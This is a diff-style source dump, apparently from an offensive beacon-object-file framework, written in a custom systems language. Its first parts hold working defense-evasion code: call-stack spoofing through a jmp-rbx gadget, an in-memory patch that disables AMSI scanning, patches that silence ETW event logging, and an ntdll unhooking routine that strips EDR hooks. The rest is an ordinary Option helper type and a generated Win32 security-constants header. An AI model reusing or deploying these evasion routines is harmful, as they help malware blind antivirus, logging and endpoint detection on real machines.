// Overwrite caller's RIP slot with the gadget.
|
||||
mov [rsp], r11
|
||||
// JMP target. Win64 alignment: rsp here = entry rsp
|
||||
// (8-mod-16, the post-CALL state target expects).
|
||||
jmp rax
|
||||
}
|
||||
}
|
||||
|
||||
fn stackspoof_call1(fn_ptr: u64, a0: u64) -> u64 {
|
||||
asm {
|
||||
mov r11, %__opsec_jmp_rbx_gadget
|
||||
test r11, r11
|
||||
jnz have1
|
||||
mov rax, 1
|
||||
mov %__opsec_gadget_tried, rax
|
||||
push rcx
|
||||
push rdx
|
||||
sub rsp, 0x28
|
||||
call %__opsec_find_jmp_rbx
|
||||
add rsp, 0x28
|
||||
pop rdx
|
||||
pop rcx
|
||||
mov %__opsec_jmp_rbx_gadget, rax
|
||||
mov r11, rax
|
||||
test r11, r11
|
||||
jnz have1
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
call rax
|
||||
ret
|
||||
have1:
|
||||
mov rbx, [rbp + 8]
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
mov [rsp], r11
|
||||
jmp rax
|
||||
}
|
||||
}
|
||||
|
||||
fn stackspoof_call2(fn_ptr: u64, a0: u64, a1: u64) -> u64 {
|
||||
asm {
|
||||
mov r11, %__opsec_jmp_rbx_gadget
|
||||
test r11, r11
|
||||
jnz have2
|
||||
mov rax, 1
|
||||
mov %__opsec_gadget_tried, rax
|
||||
push rcx
|
||||
push rdx
|
||||
push r8
|
||||
push r9
|
||||
sub rsp, 0x28
|
||||
call %__opsec_find_jmp_rbx
|
||||
add rsp, 0x28
|
||||
pop r9
|
||||
pop r8
|
||||
pop rdx
|
||||
pop rcx
|
||||
mov %__opsec_jmp_rbx_gadget, rax
|
||||
mov r11, rax
|
||||
test r11, r11
|
||||
jnz have2
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rdx, %a1
|
||||
call rax
|
||||
ret
|
||||
have2:
|
||||
mov rbx, [rbp + 8]
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rdx, %a1
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
mov [rsp], r11
|
||||
jmp rax
|
||||
}
|
||||
}
|
||||
|
||||
fn stackspoof_call3(fn_ptr: u64, a0: u64, a1: u64, a2: u64) -> u64 {
|
||||
asm {
|
||||
mov r11, %__opsec_jmp_rbx_gadget
|
||||
test r11, r11
|
||||
jnz have3
|
||||
mov rax, 1
|
||||
mov %__opsec_gadget_tried, rax
|
||||
push rcx
|
||||
push rdx
|
||||
push r8
|
||||
push r9
|
||||
sub rsp, 0x28
|
||||
call %__opsec_find_jmp_rbx
|
||||
add rsp, 0x28
|
||||
pop r9
|
||||
pop r8
|
||||
pop rdx
|
||||
pop rcx
|
||||
mov %__opsec_jmp_rbx_gadget, rax
|
||||
mov r11, rax
|
||||
test r11, r11
|
||||
jnz have3
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rdx, %a1
|
||||
mov r8, %a2
|
||||
call rax
|
||||
ret
|
||||
have3:
|
||||
mov rbx, [rbp + 8]
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rdx, %a1
|
||||
mov r8, %a2
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
mov [rsp], r11
|
||||
jmp rax
|
||||
}
|
||||
}
|
||||
|
||||
fn stackspoof_call4(fn_ptr: u64, a0: u64, a1: u64, a2: u64, a3: u64) -> u64 {
|
||||
asm {
|
||||
mov r11, %__opsec_jmp_rbx_gadget
|
||||
test r11, r11
|
||||
jnz have4
|
||||
mov rax, 1
|
||||
mov %__opsec_gadget_tried, rax
|
||||
push rcx
|
||||
push rdx
|
||||
push r8
|
||||
push r9
|
||||
sub rsp, 0x28
|
||||
call %__opsec_find_jmp_rbx
|
||||
add rsp, 0x28
|
||||
pop r9
|
||||
pop r8
|
||||
pop rdx
|
||||
pop rcx
|
||||
mov %__opsec_jmp_rbx_gadget, rax
|
||||
mov r11, rax
|
||||
test r11, r11
|
||||
jnz have4
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rdx, %a1
|
||||
mov r8, %a2
|
||||
mov r9, %a3
|
||||
call rax
|
||||
ret
|
||||
have4:
|
||||
mov rbx, [rbp + 8]
|
||||
mov rax, %fn_ptr
|
||||
mov rcx, %a0
|
||||
mov rdx, %a1
|
||||
mov r8, %a2
|
||||
mov r9, %a3
|
||||
mov rsp, rbp
|
||||
pop rbp
|
||||
mov [rsp], r11
|
||||
jmp rax
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
|
||||
use bof;
|
||||
|
||||
[Stage(Init)]
|
||||
fn opsec_amsi_patch() -> void {
|
||||
// Locate amsi.dll. If it is not loaded into the host
|
||||
// process this is a silent no-op - the AMSI surface is
|
||||
// not present, so there is nothing to bypass.
|
||||
var amsi: u64 = (u64)Kernel32.GetModuleHandleA("amsi.dll");
|
||||
if amsi == 0 {
|
||||
ret;
|
||||
}
|
||||
|
||||
// Resolve AmsiScanBuffer. Same silent-no-op rule if the
|
||||
// export is missing (very rare; means the loaded amsi.dll
|
||||
// is from a Windows version that renamed the function).
|
||||
var addr: u64 = (u64)Kernel32.GetProcAddress((void*)amsi,
|
||||
"AmsiScanBuffer");
|
||||
if addr == 0 {
|
||||
ret;
|
||||
}
|
||||
|
||||
var old: u32 = 0;
|
||||
if Kernel32.VirtualProtect((void*)addr, (u64)6,
|
||||
PAGE_EXECUTE_READWRITE, &old) == 0 {
|
||||
ret;
|
||||
}
|
||||
|
||||
// mov eax, 0x80070057 ; E_INVALIDARG
|
||||
// ret
|
||||
var p: char* = (char*)addr;
|
||||
p[0] = (u8)0xB8;
|
||||
p[1] = (u8)0x57;
|
||||
p[2] = (u8)0x00;
|
||||
p[3] = (u8)0x07;
|
||||
p[4] = (u8)0x80;
|
||||
p[5] = (u8)0xC3;
|
||||
|
||||
var dummy: u32 = 0;
|
||||
Kernel32.VirtualProtect((void*)addr, (u64)6, old, &dummy);
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
|
||||
use bof;
|
||||
|
||||
fn opsec_etw_patch_one(name: str) -> void {
|
||||
var ntdll: u64 = (u64)Kernel32.GetModuleHandleA("ntdll.dll");
|
||||
if ntdll == 0 {
|
||||
ret;
|
||||
}
|
||||
var addr: u64 = (u64)Kernel32.GetProcAddress((void*)ntdll, name);
|
||||
if addr == 0 {
|
||||
ret;
|
||||
}
|
||||
var old: u32 = 0;
|
||||
if Kernel32.VirtualProtect((void*)addr, (u64)1,
|
||||
PAGE_EXECUTE_READWRITE, &old) == 0 {
|
||||
ret;
|
||||
}
|
||||
// ret (0xC3) - return-immediately patch.
|
||||
var p: char* = (char*)addr;
|
||||
p[0] = (u8)0xC3;
|
||||
var dummy: u32 = 0;
|
||||
Kernel32.VirtualProtect((void*)addr, (u64)1, old, &dummy);
|
||||
ret;
|
||||
}
|
||||
|
||||
[Stage(Init)]
|
||||
fn opsec_etw_patch() -> void {
|
||||
opsec_etw_patch_one("EtwEventWrite");
|
||||
opsec_etw_patch_one("EtwEventWriteFull");
|
||||
opsec_etw_patch_one("EtwEventWriteEx");
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
|
||||
use bof;
|
||||
|
||||
|
||||
fn opsec_unhook_section_text(base: u64, va_out: u32*,
|
||||
sz_out: u32*) -> int {
|
||||
// e_lfanew at offset 0x3C of the DOS header (LE u32).
|
||||
var b: char* = (char*)base;
|
||||
var e_lfanew: u32 = (u32)((u32)b[60] | ((u32)b[61] << 8)
|
||||
| ((u32)b[62] << 16) | ((u32)b[63] << 24));
|
||||
var nt: u64 = base + (u64)e_lfanew;
|
||||
|
||||
// FileHeader is at nt + 4 (after "PE\0\0"). NumberOfSections
|
||||
// and SizeOfOptionalHeader live at offsets 2 and 16 of the
|
||||
// file header respectively.
|
||||
var fh: char* = (char*)(nt + (u64)4);
|
||||
var nsec: u32 = (u32)((u32)fh[2] | ((u32)fh[3] << 8));
|
||||
var opt: u32 = (u32)((u32)fh[16] | ((u32)fh[17] << 8));
|
||||
|
||||
// Section table immediately follows the optional header.
|
||||
var sect: u64 = nt + (u64)4 + (u64)20 + (u64)opt;
|
||||
|
||||
var i: u32 = 0;
|
||||
while i < nsec {
|
||||
var s: char* = (char*)(sect + (u64)i * (u64)40);
|
||||
// .text == 2E 74 65 78 74 00 00 00
|
||||
if s[0] == (u8)0x2E { if s[1] == (u8)0x74 {
|
||||
if s[2] == (u8)0x65 { if s[3] == (u8)0x78 {
|
||||
if s[4] == (u8)0x74 { if s[5] == (u8)0x00 {
|
||||
var va: u32 = (u32)((u32)s[12] | ((u32)s[13] << 8)
|
||||
| ((u32)s[14] << 16) | ((u32)s[15] << 24));
|
||||
var sz: u32 = (u32)((u32)s[16] | ((u32)s[17] << 8)
|
||||
| ((u32)s[18] << 16) | ((u32)s[19] << 24));
|
||||
*va_out = va;
|
||||
*sz_out = sz;
|
||||
ret 1;
|
||||
} } } } } }
|
||||
i = i + (u32)1;
|
||||
}
|
||||
ret 0;
|
||||
}
|
||||
|
||||
[Stage(Init)]
|
||||
fn opsec_unhook_ntdll() -> void {
|
||||
var loaded: u64 = (u64)Kernel32.GetModuleHandleA("ntdll.dll");
|
||||
if loaded == 0 {
|
||||
ret;
|
||||
}
|
||||
|
||||
// GENERIC_READ = 0x80000000, FILE_SHARE_READ = 1,
|
||||
// OPEN_EXISTING = 3, FILE_ATTRIBUTE_NORMAL = 0x80.
|
||||
var h: u64 = (u64)Kernel32.CreateFileA(
|
||||
"C:\\Windows\\System32\\ntdll.dll",
|
||||
(u32)0x80000000, (u32)1, (void*)0, (u32)3,
|
||||
(u32)0x80, (void*)0);
|
||||
// INVALID_HANDLE_VALUE = -1 cast to u64.
|
||||
if h == (u64)0xFFFFFFFFFFFFFFFF {
|
||||
ret;
|
||||
}
|
||||
|
||||
// CreateFileMapping with PAGE_READONLY (2). The clean copy
|
||||
// is read-only; we never modify it.
|
||||
var mapping: u64 = (u64)Kernel32.CreateFileMappingA(
|
||||
(void*)h, (void*)0, (u32)2, (u32)0, (u32)0, (char*)0);
|
||||
if mapping == 0 {
|
||||
Kernel32.CloseHandle((void*)h);
|
||||
ret;
|
||||
}
|
||||
|
||||
// FILE_MAP_READ = 4.
|
||||
var clean: u64 = (u64)Kernel32.MapViewOfFile(
|
||||
(void*)mapping, (u32)4, (u32)0, (u32)0, (u64)0);
|
||||
if clean == 0 {
|
||||
Kernel32.CloseHandle((void*)mapping);
|
||||
Kernel32.CloseHandle((void*)h);
|
||||
ret;
|
||||
}
|
||||
|
||||
var loaded_va: u32 = 0;
|
||||
var loaded_sz: u32 = 0;
|
||||
var clean_va: u32 = 0;
|
||||
var clean_sz: u32 = 0;
|
||||
if opsec_unhook_section_text(loaded, &loaded_va,
|
||||
&loaded_sz) == 0 {
|
||||
Kernel32.UnmapViewOfFile((void*)clean);
|
||||
Kernel32.CloseHandle((void*)mapping);
|
||||
Kernel32.CloseHandle((void*)h);
|
||||
ret;
|
||||
}
|
||||
if opsec_unhook_section_text(clean, &clean_va, &clean_sz) == 0 {
|
||||
Kernel32.UnmapViewOfFile((void*)clean);
|
||||
Kernel32.CloseHandle((void*)mapping);
|
||||
Kernel32.CloseHandle((void*)h);
|
||||
ret;
|
||||
}
|
||||
|
||||
var loaded_text: u64 = loaded + (u64)loaded_va;
|
||||
var clean_text: u64 = clean + (u64)clean_va;
|
||||
var len: u64 = (u64)loaded_sz;
|
||||
if (u64)clean_sz < len { len = (u64)clean_sz; }
|
||||
|
||||
// Flip the loaded .text to writable, copy, restore.
|
||||
var old: u32 = 0;
|
||||
if Kernel32.VirtualProtect((void*)loaded_text, len,
|
||||
PAGE_EXECUTE_READWRITE, &old) != 0 {
|
||||
mem.copy(loaded_text, clean_text, len);
|
||||
var dummy: u32 = 0;
|
||||
Kernel32.VirtualProtect((void*)loaded_text, len, old,
|
||||
&dummy);
|
||||
}
|
||||
|
||||
Kernel32.UnmapViewOfFile((void*)clean);
|
||||
Kernel32.CloseHandle((void*)mapping);
|
||||
Kernel32.CloseHandle((void*)h);
|
||||
ret;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
|
||||
struct Option {
|
||||
is_some: u8,
|
||||
value: u64,
|
||||
}
|
||||
|
||||
// some - wrap a value as a present Option.
|
||||
fn some(v: u64) -> Option {
|
||||
ret Option { is_some: 1, value: v };
|
||||
}
|
||||
|
||||
// none - produce the absent Option. value is left zero.
|
||||
fn none() -> Option {
|
||||
ret Option { is_some: 0, value: 0 };
|
||||
}
|
||||
|
||||
// is_some - 1 if present, 0 if absent. Useful as the if-condition.
|
||||
fn is_some(o: Option) -> int {
|
||||
if o.is_some == 0 { ret 0; }
|
||||
ret 1;
|
||||
}
|
||||
|
||||
// is_none - inverse of is_some. Symmetric naming.
|
||||
fn is_none(o: Option) -> int {
|
||||
if o.is_some == 0 { ret 1; }
|
||||
ret 0;
|
||||
}
|
||||
|
||||
// unwrap - return the inner value, or raise 0xCE ("crashed because
|
||||
// empty") if the Option was None. Use if is_some { unwrap } when
|
||||
// you want to handle the absence yourself.
|
||||
fn unwrap(o: Option) -> u64 {
|
||||
if o.is_some == 0 { raise 0xCE; }
|
||||
ret o.value;
|
||||
}
|
||||
|
||||
// unwrap_or - return the inner value if present, else
|
||||
// default. Branch-less from the caller's perspective; ideal for
|
||||
// supplying a sentinel ("timeout = 5000 ms by default") without a temp.
|
||||
fn unwrap_or(o: Option, default: u64) -> u64 {
|
||||
if o.is_some == 0 { ret default; }
|
||||
ret o.value;
|
||||
}
|
||||
@@ -0,0 +1,818 @@
|
||||
// Generated by entc-win32gen from `Windows.Win32.Security.Authorization`.
|
||||
// Do not edit by hand. Re-run the generator to refresh.
|
||||
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned long long ULONGLONG;
|
||||
typedef long LONG;
|
||||
typedef unsigned long ULONG;
|
||||
typedef int BOOL;
|
||||
typedef void* PVOID;
|
||||
typedef void* HANDLE;
|
||||
|
||||
#define SDDL_REVISION_1 0x1
|
||||
#define SDDL_REVISION 0x1
|
||||
// SKIPPED const SDDL_OWNER: non-integer constant
|
||||
// SKIPPED const SDDL_GROUP: non-integer constant
|
||||
// SKIPPED const SDDL_DACL: non-integer constant
|
||||
// SKIPPED const SDDL_SACL: non-integer constant
|
||||
// SKIPPED const SDDL_PROTECTED: non-integer constant
|
||||
// SKIPPED const SDDL_AUTO_INHERIT_REQ: non-integer constant
|
||||
// SKIPPED const SDDL_AUTO_INHERITED: non-integer constant
|
||||
// SKIPPED const SDDL_NULL_ACL: non-integer constant
|
||||
// SKIPPED const SDDL_ACCESS_ALLOWED: non-integer constant
|
||||
// SKIPPED const SDDL_ACCESS_DENIED: non-integer constant
|
||||
// SKIPPED const SDDL_OBJECT_ACCESS_ALLOWED: non-integer constant
|
||||
// SKIPPED const SDDL_OBJECT_ACCESS_DENIED: non-integer constant
|
||||
// SKIPPED const SDDL_AUDIT: non-integer constant
|
||||
// SKIPPED const SDDL_ALARM: non-integer constant
|
||||
// SKIPPED const SDDL_OBJECT_AUDIT: non-integer constant
|
||||
// SKIPPED const SDDL_OBJECT_ALARM: non-integer constant
|
||||
// SKIPPED const SDDL_MANDATORY_LABEL: non-integer constant
|
||||
// SKIPPED const SDDL_PROCESS_TRUST_LABEL: non-integer constant
|
||||
// SKIPPED const SDDL_CALLBACK_ACCESS_ALLOWED: non-integer constant
|
||||
// SKIPPED const SDDL_CALLBACK_ACCESS_DENIED: non-integer constant
|
||||
// SKIPPED const SDDL_RESOURCE_ATTRIBUTE: non-integer constant
|
||||
// SKIPPED const SDDL_SCOPED_POLICY_ID: non-integer constant
|
||||
// SKIPPED const SDDL_CALLBACK_AUDIT: non-integer constant
|
||||
// SKIPPED const SDDL_CALLBACK_OBJECT_ACCESS_ALLOWED: non-integer constant
|
||||
// SKIPPED const SDDL_ACCESS_FILTER: non-integer constant
|
||||
// SKIPPED const SDDL_INT: non-integer constant
|
||||
// SKIPPED const SDDL_UINT: non-integer constant
|
||||
// SKIPPED const SDDL_WSTRING: non-integer constant
|
||||
// SKIPPED const SDDL_SID: non-integer constant
|
||||
// SKIPPED const SDDL_BLOB: non-integer constant
|
||||
// SKIPPED const SDDL_BOOLEAN: non-integer constant
|
||||
// SKIPPED const SDDL_CONTAINER_INHERIT: non-integer constant
|
||||
// SKIPPED const SDDL_OBJECT_INHERIT: non-integer constant
|
||||
// SKIPPED const SDDL_NO_PROPAGATE: non-integer constant
|
||||
// SKIPPED const SDDL_INHERIT_ONLY: non-integer constant
|
||||
// SKIPPED const SDDL_INHERITED: non-integer constant
|
||||
// SKIPPED const SDDL_CRITICAL: non-integer constant
|
||||
// SKIPPED const SDDL_TRUST_PROTECTED_FILTER: non-integer constant
|
||||
// SKIPPED const SDDL_AUDIT_SUCCESS: non-integer constant
|
||||
// SKIPPED const SDDL_AUDIT_FAILURE: non-integer constant
|
||||
// SKIPPED const SDDL_READ_PROPERTY: non-integer constant
|
||||
// SKIPPED const SDDL_WRITE_PROPERTY: non-integer constant
|
||||
// SKIPPED const SDDL_CREATE_CHILD: non-integer constant
|
||||
// SKIPPED const SDDL_DELETE_CHILD: non-integer constant
|
||||
// SKIPPED const SDDL_LIST_CHILDREN: non-integer constant
|
||||
// SKIPPED const SDDL_SELF_WRITE: non-integer constant
|
||||
// SKIPPED const SDDL_LIST_OBJECT: non-integer constant
|
||||
// SKIPPED const SDDL_DELETE_TREE: non-integer constant
|
||||
// SKIPPED const SDDL_CONTROL_ACCESS: non-integer constant
|
||||
// SKIPPED const SDDL_READ_CONTROL: non-integer constant
|
||||
// SKIPPED const SDDL_WRITE_DAC: non-integer constant
|
||||
// SKIPPED const SDDL_WRITE_OWNER: non-integer constant
|
||||
// SKIPPED const SDDL_STANDARD_DELETE: non-integer constant
|
||||
// SKIPPED const SDDL_GENERIC_ALL: non-integer constant
|
||||
// SKIPPED const SDDL_GENERIC_READ: non-integer constant
|
||||
// SKIPPED const SDDL_GENERIC_WRITE: non-integer constant
|
||||
// SKIPPED const SDDL_GENERIC_EXECUTE: non-integer constant
|
||||
// SKIPPED const SDDL_FILE_ALL: non-integer constant
|
||||
// SKIPPED const SDDL_FILE_READ: non-integer constant
|
||||
// SKIPPED const SDDL_FILE_WRITE: non-integer constant
|
||||
// SKIPPED const SDDL_FILE_EXECUTE: non-integer constant
|
||||
// SKIPPED const SDDL_KEY_ALL: non-integer constant
|
||||
// SKIPPED const SDDL_KEY_READ: non-integer constant
|
||||
// SKIPPED const SDDL_KEY_WRITE: non-integer constant
|
||||
// SKIPPED const SDDL_KEY_EXECUTE: non-integer constant
|
||||
// SKIPPED const SDDL_NO_WRITE_UP: non-integer constant
|
||||
// SKIPPED const SDDL_NO_READ_UP: non-integer constant
|
||||
// SKIPPED const SDDL_NO_EXECUTE_UP: non-integer constant
|
||||
#define SDDL_ALIAS_SIZE 0x2
|
||||
// SKIPPED const SDDL_DOMAIN_ADMINISTRATORS: non-integer constant
|
||||
// SKIPPED const SDDL_DOMAIN_GUESTS: non-integer constant
|
||||
// SKIPPED const SDDL_DOMAIN_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_ENTERPRISE_DOMAIN_CONTROLLERS: non-integer constant
|
||||
// SKIPPED const SDDL_DOMAIN_DOMAIN_CONTROLLERS: non-integer constant
|
||||
// SKIPPED const SDDL_DOMAIN_COMPUTERS: non-integer constant
|
||||
// SKIPPED const SDDL_BUILTIN_ADMINISTRATORS: non-integer constant
|
||||
// SKIPPED const SDDL_BUILTIN_GUESTS: non-integer constant
|
||||
// SKIPPED const SDDL_BUILTIN_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_LOCAL_ADMIN: non-integer constant
|
||||
// SKIPPED const SDDL_LOCAL_GUEST: non-integer constant
|
||||
// SKIPPED const SDDL_ACCOUNT_OPERATORS: non-integer constant
|
||||
// SKIPPED const SDDL_BACKUP_OPERATORS: non-integer constant
|
||||
// SKIPPED const SDDL_PRINTER_OPERATORS: non-integer constant
|
||||
// SKIPPED const SDDL_SERVER_OPERATORS: non-integer constant
|
||||
// SKIPPED const SDDL_AUTHENTICATED_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_PERSONAL_SELF: non-integer constant
|
||||
// SKIPPED const SDDL_CREATOR_OWNER: non-integer constant
|
||||
// SKIPPED const SDDL_CREATOR_GROUP: non-integer constant
|
||||
// SKIPPED const SDDL_LOCAL_SYSTEM: non-integer constant
|
||||
// SKIPPED const SDDL_POWER_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_EVERYONE: non-integer constant
|
||||
// SKIPPED const SDDL_REPLICATOR: non-integer constant
|
||||
// SKIPPED const SDDL_INTERACTIVE: non-integer constant
|
||||
// SKIPPED const SDDL_NETWORK: non-integer constant
|
||||
// SKIPPED const SDDL_SERVICE: non-integer constant
|
||||
// SKIPPED const SDDL_RESTRICTED_CODE: non-integer constant
|
||||
// SKIPPED const SDDL_WRITE_RESTRICTED_CODE: non-integer constant
|
||||
// SKIPPED const SDDL_ANONYMOUS: non-integer constant
|
||||
// SKIPPED const SDDL_SCHEMA_ADMINISTRATORS: non-integer constant
|
||||
// SKIPPED const SDDL_CERT_SERV_ADMINISTRATORS: non-integer constant
|
||||
// SKIPPED const SDDL_RAS_SERVERS: non-integer constant
|
||||
// SKIPPED const SDDL_ENTERPRISE_ADMINS: non-integer constant
|
||||
// SKIPPED const SDDL_GROUP_POLICY_ADMINS: non-integer constant
|
||||
// SKIPPED const SDDL_ALIAS_PREW2KCOMPACC: non-integer constant
|
||||
// SKIPPED const SDDL_LOCAL_SERVICE: non-integer constant
|
||||
// SKIPPED const SDDL_NETWORK_SERVICE: non-integer constant
|
||||
// SKIPPED const SDDL_REMOTE_DESKTOP: non-integer constant
|
||||
// SKIPPED const SDDL_NETWORK_CONFIGURATION_OPS: non-integer constant
|
||||
// SKIPPED const SDDL_PERFMON_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_PERFLOG_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_IIS_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_CRYPTO_OPERATORS: non-integer constant
|
||||
// SKIPPED const SDDL_OWNER_RIGHTS: non-integer constant
|
||||
// SKIPPED const SDDL_EVENT_LOG_READERS: non-integer constant
|
||||
// SKIPPED const SDDL_ENTERPRISE_RO_DCs: non-integer constant
|
||||
// SKIPPED const SDDL_CERTSVC_DCOM_ACCESS: non-integer constant
|
||||
// SKIPPED const SDDL_ALL_APP_PACKAGES: non-integer constant
|
||||
// SKIPPED const SDDL_RDS_REMOTE_ACCESS_SERVERS: non-integer constant
|
||||
// SKIPPED const SDDL_RDS_ENDPOINT_SERVERS: non-integer constant
|
||||
// SKIPPED const SDDL_RDS_MANAGEMENT_SERVERS: non-integer constant
|
||||
// SKIPPED const SDDL_USER_MODE_DRIVERS: non-integer constant
|
||||
// SKIPPED const SDDL_HYPER_V_ADMINS: non-integer constant
|
||||
// SKIPPED const SDDL_CLONEABLE_CONTROLLERS: non-integer constant
|
||||
// SKIPPED const SDDL_ACCESS_CONTROL_ASSISTANCE_OPS: non-integer constant
|
||||
// SKIPPED const SDDL_REMOTE_MANAGEMENT_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_AUTHORITY_ASSERTED: non-integer constant
|
||||
// SKIPPED const SDDL_SERVICE_ASSERTED: non-integer constant
|
||||
// SKIPPED const SDDL_PROTECTED_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_KEY_ADMINS: non-integer constant
|
||||
// SKIPPED const SDDL_ENTERPRISE_KEY_ADMINS: non-integer constant
|
||||
// SKIPPED const SDDL_USER_MODE_HARDWARE_OPERATORS: non-integer constant
|
||||
// SKIPPED const SDDL_OPENSSH_USERS: non-integer constant
|
||||
// SKIPPED const SDDL_ML_LOW: non-integer constant
|
||||
// SKIPPED const SDDL_ML_MEDIUM: non-integer constant
|
||||
// SKIPPED const SDDL_ML_MEDIUM_PLUS: non-integer constant
|
||||
// SKIPPED const SDDL_ML_HIGH: non-integer constant
|
||||
// SKIPPED const SDDL_ML_SYSTEM: non-integer constant
|
||||
// SKIPPED const SDDL_SEPERATOR: non-integer constant
|
||||
// SKIPPED const SDDL_DELIMINATOR: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_BEGIN: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_END: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_BEGIN: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_END: non-integer constant
|
||||
// SKIPPED const SDDL_SPACE: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_BLOB_PREFIX: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_SID_PREFIX: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_ATTRIBUTE_PREFIX: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_USER_ATTRIBUTE_PREFIX: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_RESOURCE_ATTRIBUTE_PREFIX: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_DEVICE_ATTRIBUTE_PREFIX: non-integer constant
|
||||
// SKIPPED const SDDL_ACE_COND_TOKEN_ATTRIBUTE_PREFIX: non-integer constant
|
||||
#define INHERITED_ACCESS_ENTRY 0x10
|
||||
#define INHERITED_PARENT 0x10000000
|
||||
#define INHERITED_GRANDPARENT 0x20000000
|
||||
// SKIPPED const ACCCTRL_DEFAULT_PROVIDERA: non-integer constant
|
||||
// SKIPPED const ACCCTRL_DEFAULT_PROVIDERW: non-integer constant
|
||||
// SKIPPED const ACCCTRL_DEFAULT_PROVIDER: non-integer constant
|
||||
#define TRUSTEE_ACCESS_ALLOWED 1
|
||||
#define TRUSTEE_ACCESS_READ 2
|
||||
#define TRUSTEE_ACCESS_WRITE 4
|
||||
#define TRUSTEE_ACCESS_EXPLICIT 1
|
||||
#define TRUSTEE_ACCESS_ALL -1
|
||||
#define ACTRL_RESERVED 0x0
|
||||
#define ACTRL_PERM_1 0x1
|
||||
#define ACTRL_PERM_2 0x2
|
||||
#define ACTRL_PERM_3 0x4
|
||||
#define ACTRL_PERM_4 0x8
|
||||
#define ACTRL_PERM_5 0x10
|
||||
#define ACTRL_PERM_6 0x20
|
||||
#define ACTRL_PERM_7 0x40
|
||||
#define ACTRL_PERM_8 0x80
|
||||
#define ACTRL_PERM_9 0x100
|
||||
#define ACTRL_PERM_10 0x200
|
||||
#define ACTRL_PERM_11 0x400
|
||||
#define ACTRL_PERM_12 0x800
|
||||
#define ACTRL_PERM_13 0x1000
|
||||
#define ACTRL_PERM_14 0x2000
|
||||
#define ACTRL_PERM_15 0x4000
|
||||
#define ACTRL_PERM_16 0x8000
|
||||
#define ACTRL_PERM_17 0x10000
|
||||
#define ACTRL_PERM_18 0x20000
|
||||
#define ACTRL_PERM_19 0x40000
|
||||
#define ACTRL_PERM_20 0x80000
|
||||
#define ACTRL_ACCESS_PROTECTED 0x1
|
||||
#define ACTRL_SYSTEM_ACCESS 0x4000000
|
||||
#define ACTRL_DELETE 0x8000000
|
||||
#define ACTRL_READ_CONTROL 0x10000000
|
||||
#define ACTRL_CHANGE_ACCESS 0x20000000
|
||||
#define ACTRL_CHANGE_OWNER 0x40000000
|
||||
#define ACTRL_SYNCHRONIZE 0x80000000
|
||||
#define ACTRL_STD_RIGHTS_ALL 0xf8000000
|
||||
#define ACTRL_FILE_READ 0x1
|
||||
#define ACTRL_FILE_WRITE 0x2
|
||||
#define ACTRL_FILE_APPEND 0x4
|
||||
#define ACTRL_FILE_READ_PROP 0x8
|
||||
#define ACTRL_FILE_WRITE_PROP 0x10
|
||||
#define ACTRL_FILE_EXECUTE 0x20
|
||||
#define ACTRL_FILE_READ_ATTRIB 0x80
|
||||
#define ACTRL_FILE_WRITE_ATTRIB 0x100
|
||||
#define ACTRL_FILE_CREATE_PIPE 0x200
|
||||
#define ACTRL_DIR_LIST 0x1
|
||||
#define ACTRL_DIR_CREATE_OBJECT 0x2
|
||||
#define ACTRL_DIR_CREATE_CHILD 0x4
|
||||
#define ACTRL_DIR_DELETE_CHILD 0x40
|
||||
#define ACTRL_DIR_TRAVERSE 0x20
|
||||
#define ACTRL_KERNEL_TERMINATE 0x1
|
||||
#define ACTRL_KERNEL_THREAD 0x2
|
||||
#define ACTRL_KERNEL_VM 0x4
|
||||
#define ACTRL_KERNEL_VM_READ 0x8
|
||||
#define ACTRL_KERNEL_VM_WRITE 0x10
|
||||
#define ACTRL_KERNEL_DUP_HANDLE 0x20
|
||||
#define ACTRL_KERNEL_PROCESS 0x40
|
||||
#define ACTRL_KERNEL_SET_INFO 0x80
|
||||
#define ACTRL_KERNEL_GET_INFO 0x100
|
||||
#define ACTRL_KERNEL_CONTROL 0x200
|
||||
#define ACTRL_KERNEL_ALERT 0x400
|
||||
#define ACTRL_KERNEL_GET_CONTEXT 0x800
|
||||
#define ACTRL_KERNEL_SET_CONTEXT 0x1000
|
||||
#define ACTRL_KERNEL_TOKEN 0x2000
|
||||
#define ACTRL_KERNEL_IMPERSONATE 0x4000
|
||||
#define ACTRL_KERNEL_DIMPERSONATE 0x8000
|
||||
#define ACTRL_PRINT_SADMIN 0x1
|
||||
#define ACTRL_PRINT_SLIST 0x2
|
||||
#define ACTRL_PRINT_PADMIN 0x4
|
||||
#define ACTRL_PRINT_PUSE 0x8
|
||||
#define ACTRL_PRINT_JADMIN 0x10
